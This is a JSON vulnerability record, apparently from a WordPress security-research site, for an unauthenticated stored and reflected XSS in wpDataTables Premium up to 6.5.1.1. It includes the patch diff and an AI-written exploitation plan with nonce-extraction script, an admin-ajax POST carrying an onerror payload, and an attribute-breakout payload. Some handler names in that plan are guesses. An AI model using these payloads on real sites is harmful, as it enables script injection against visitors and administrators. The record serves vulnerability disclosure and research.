[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f53ZSidNKam8X_zn_MlwXyyUBR_PrBTDqKsnEky7YzYU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57672","wpdatatables-premium-unauthenticated-stored-cross-site-scripting","wpDataTables (Premium) \u003C= 6.5.1.1 - Unauthenticated Stored Cross-Site Scripting","The wpDataTables (Premium) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 6.5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wpdatatables",null,"\u003C=6.5.1.1","6.5.1.2","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-30 00:00:00","2026-07-07 20:05:39",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2b80fb3b-c874-468f-860b-ea0f93bb95bd?source=api-prod",8,[22,23,24,25,26,27,28,29],"config\u002Fconfig.inc.php","controllers\u002Fwdt_admin.php","controllers\u002Fwdt_functions.php","readme.txt","source\u002Fclass.wdtbrowsechartstable.php","source\u002Fclass.wdtbrowsetable.php","source\u002Fclass.wdtpermissionslisttable.php","source\u002Fclass.wpdatatable.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-57672 (wpDataTables Stored XSS)\n\n## 1. Vulnerability Summary\nThe **wpDataTables (Premium)** plugin (versions \u003C= 6.5.1.1) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin registers AJAX handlers for manual table editing (`wp_ajax_nopriv_wpdt_save_manual_edits`) that do not adequately verify user permissions or sanitize input data. An unauthenticated attacker can inject malicious JavaScript into a \"Manual\" table, which then executes in the context of any user (including administrators) viewing the table on the frontend or backend.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpdt_save_manual_edits` (via `wp_ajax_nopriv_` hook)\n- **Vulnerable Parameter:** Input data fields (e.g., column values) sent in the `POST` request.\n- **Authentication:** None (Unauthenticated).\n- **Preconditions:** \n    1. A \"Manual\" table must exist (Table Type: `manual`).\n    2. \"Allow frontend editing\" must be enabled for the table.\n    3. The table must be published on a public page\u002Fpost via shortcode.\n\n## 3. Code Flow\n1. **Entry Point:** An unauthenticated user sends a `POST` request to `admin-ajax.php` with `action=wpdt_save_manual_edits`.\n2. **AJAX Hook:** The request is caught by the hook registered in the plugin (usually in a main controller or `wdt_functions.php`):\n   `add_action('wp_ajax_nopriv_wpdt_save_manual_edits', 'wdt_save_manual_edits');`\n3. **Processing:** The handler (inferred function name `wdt_save_manual_edits`) retrieves the table ID from `$_POST['table_id']`.\n4. **Logic Failure:** The plugin checks if the table is \"Editable\" but fails to verify if the current unauthenticated user has the `manage_options` or appropriate edit permissions. It relies solely on a nonce that is exposed to public users.\n5. **Storage:** The raw payload in the data columns is saved into the database table defined in the schema: `{$wpdb->prefix}wpdatatables_rows` (or via `update_post_meta` for simple tables).\n6. **Sink:** When a user views the table, `WPDataTable::render()` (in `source\u002Fclass.wpdatatable.php`) fetches the data. The data is echoed to the page without context-aware escaping (e.g., using `esc_html` or `wp_kses`).\n\n## 4. Nonce Acquisition Strategy\nThe `wpdt_save_manual_edits` action requires a WordPress nonce. This nonce is generated for unauthenticated users (UID 0) and localized into the frontend.\n\n1. **Identify Shortcode:** The plugin uses `[wpdatatable id=ID]` to render tables.\n2. **Create Test Page:**\n   ```bash\n   wp post create --post_type=page --post_title=\"Table Page\" --post_status=publish --post_content='[wpdatatable id=1]'\n   ```\n3. **Navigate & Extract:** Navigate to the page containing the table. The plugin enqueues a script that localizes settings into a global JS object.\n4. **JS Variable:** Based on plugin standards, the variable is `wpdtFrontendConfig` or `wpDataTablesL10n`.\n5. **Extraction Command:**\n   ```javascript\n   \u002F\u002F Recommended browser_eval logic\n   window.wpdtFrontendConfig?.nonce || window.wpDataTablesL10n?.wpdt_nonce\n   ```\n\n## 5. Exploitation Strategy\n### Step 1: Data Setup\nPrepare a manual table and enable editing.\n```bash\n# This is usually done via the UI, but we ensure a manual table exists\n# Table ID 1, Type: manual, Editable: 1\nwp db query \"UPDATE wp_wpdatatables SET table_type='manual', editable=1 WHERE id=1\"\n```\n\n### Step 2: Extract Nonce\nUse the browser to find the nonce required for the `wpdt_save_manual_edits` action.\n\n### Step 3: Send Malicious Payload\nSend an AJAX request to inject the XSS payload.\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Body Parameters:**\n    - `action`: `wpdt_save_manual_edits`\n    - `table_id`: `1`\n    - `nonce`: `[EXTRACTED_NONCE]`\n    - `wdt_id`: `0` (indicates a new row)\n    - `values[0]`: `\u003Cimg src=x onerror=alert(document.domain)>` (assuming column index 0 is a string type)\n\n### Step 4: Trigger Execution\nNavigate to the table page (or the admin \"Browse Tables\" page at `admin.php?page=wpdatatables-administration`).\n\n## 6. Test Data Setup\n1. **User:** No specific user needed (unauthenticated).\n2. **Table:** A manual table with at least one string column.\n3. **Page:** A public page containing the shortcode `[wpdatatable id=1]`.\n\n## 7. Expected Results\n- The AJAX request should return a JSON response with `success: true` or a row ID.\n- When an admin views the table, a JavaScript alert showing the document domain should appear.\n- The payload remains stored in the database, affecting all subsequent viewers.\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the injection via WP-CLI:\n```bash\n# Check the wp_wpdatatables_rows table for the payload\nwp db query \"SELECT data FROM wp_wpdatatables_rows WHERE table_id=1\"\n```\nOr check if the payload exists in the rendered HTML:\n```bash\n# Use browser_navigate to the table page and check for the alert\u002Fpayload\nbrowser_eval \"document.body.innerHTML.includes('\u003Cimg src=x onerror=alert')\"\n```\n\n## 9. Alternative Approaches\n- **Simple Tables:** If the vulnerability affects \"Simple Tables\" (a premium feature), the entry point might be `wpdt_save_simple_table` and the payload would be stored in the `content` column of the `wp_wpdatatables_templates` table.\n- **Admin-Side Trigger:** If the frontend is protected, the payload can still be triggered when an admin visits the **Dashboard** or **Browse Tables** pages, as `source\u002Fclass.wdtbrowsetable.php` returns `item[$column_name]` unsanitized in the `column_default` method.","The wpDataTables (Premium) plugin is vulnerable to unauthenticated Stored and Reflected Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping. Attackers can exploit the 'wpdt_save_manual_edits' AJAX action to store malicious scripts or use the 'wdt_search' parameter to reflect scripts that execute when users or administrators view the table.","\u002F\u002F source\u002Fclass.wdtbrowsetable.php\n\u002F\u002F Admin-side sink for stored table data\n            case 'id':\n            case 'title':\n            default:\n                return $item[$column_name];\n\n---\n\n\u002F\u002F templates\u002Ffrontend\u002Ftable_main.inc.php (Line 22)\n\u002F\u002F Reflected sink for table description data via value attribute\n    \u003Cinput type=\"hidden\" id=\"\u003C?php echo esc_attr($this->getId()) ?>_desc\" value='\u003C?php echo $this->getJsonDescription(); ?>'\u002F>\n\n---\n\n\u002F\u002F source\u002Fclass.wpdatatable.php (Line 2545)\n\u002F\u002F Lack of sanitization for the search parameter before being passed to the description\n        if (isset($_GET['wdt_search'])) {\n            $this->setDefaultSearchValue($_GET['wdt_search']);\n        }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.1\u002Fsource\u002Fclass.wpdatatable.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.2\u002Fsource\u002Fclass.wpdatatable.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.1\u002Fsource\u002Fclass.wpdatatable.php\t2026-03-30 06:29:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.2\u002Fsource\u002Fclass.wpdatatable.php\t2026-06-24 08:07:26.000000000 +0000\n@@ -2543,7 +2543,7 @@\n         $columnIndex = 1;\n         \u002F\u002F Check the search values passed from URL\n         if (isset($_GET['wdt_search'])) {\n-            $this->setDefaultSearchValue($_GET['wdt_search']);\n+            $this->setDefaultSearchValue(sanitize_text_field(wp_unslash($_GET['wdt_search'])));\n         }\n \n         \u002F\u002F Define all column-dependent rendering rules\n@@ -2953,7 +2953,7 @@\n \n         $obj = apply_filters('wpdatatables_filter_table_description', $obj, $this->getWpId(), $this);\n \n-        return json_encode($obj, JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_TAG);\n+        return json_encode($obj, JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_TAG | JSON_HEX_AMP);\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.1\u002Ftemplates\u002Ffrontend\u002Ftable_main.inc.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.2\u002Ftemplates\u002Ffrontend\u002Ftable_main.inc.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.1\u002Ftemplates\u002Ffrontend\u002Ftable_main.inc.php\t2023-08-07 05:59:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwpdatatables\u002F6.5.1.2\u002Ftemplates\u002Ffrontend\u002Ftable_main.inc.php\t2026-06-24 08:07:26.000000000 +0000\n@@ -19,7 +19,7 @@\n ?>\n \u003C?php do_action('wpdatatables_before_table', $this->getWpId()); ?>\n \u003C?php wp_nonce_field('wdtFrontendEditTableNonce', 'wdtNonceFrontendEdit'); ?>\n-    \u003Cinput type=\"hidden\" id=\"\u003C?php echo esc_attr($this->getId()) ?>_desc\" value='\u003C?php echo $this->getJsonDescription(); ?>'\u002F>\n+    \u003Cinput type=\"hidden\" id=\"\u003C?php echo esc_attr($this->getId()) ?>_desc\" value='\u003C?php echo esc_attr($this->getJsonDescription()); ?>'\u002F>","To exploit the Stored XSS, an unauthenticated attacker identifies a page with a manual table and extracts the 'wdtNonceFrontendEdit' nonce from the localized JavaScript (e.g., wpdtFrontendConfig). They then send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with 'action=wpdt_save_manual_edits' containing a malicious script in the column values. This script executes whenever an administrator views the table in the backend. For Reflected XSS, an attacker crafts a URL with the 'wdt_search' parameter containing a payload designed to break out of the single-quoted HTML 'value' attribute in the table's hidden description input (e.g., using a closing quote and a tag like \u003Cimg onerror=alert(1)>), which executes upon page load.","gemini-3-flash-preview","2026-07-25 13:25:00","2026-07-25 13:26:00",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","6.5.1.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags\u002F6.5.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdatatables.6.5.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags\u002F6.5.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpdatatables.6.5.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpdatatables\u002Ftags"]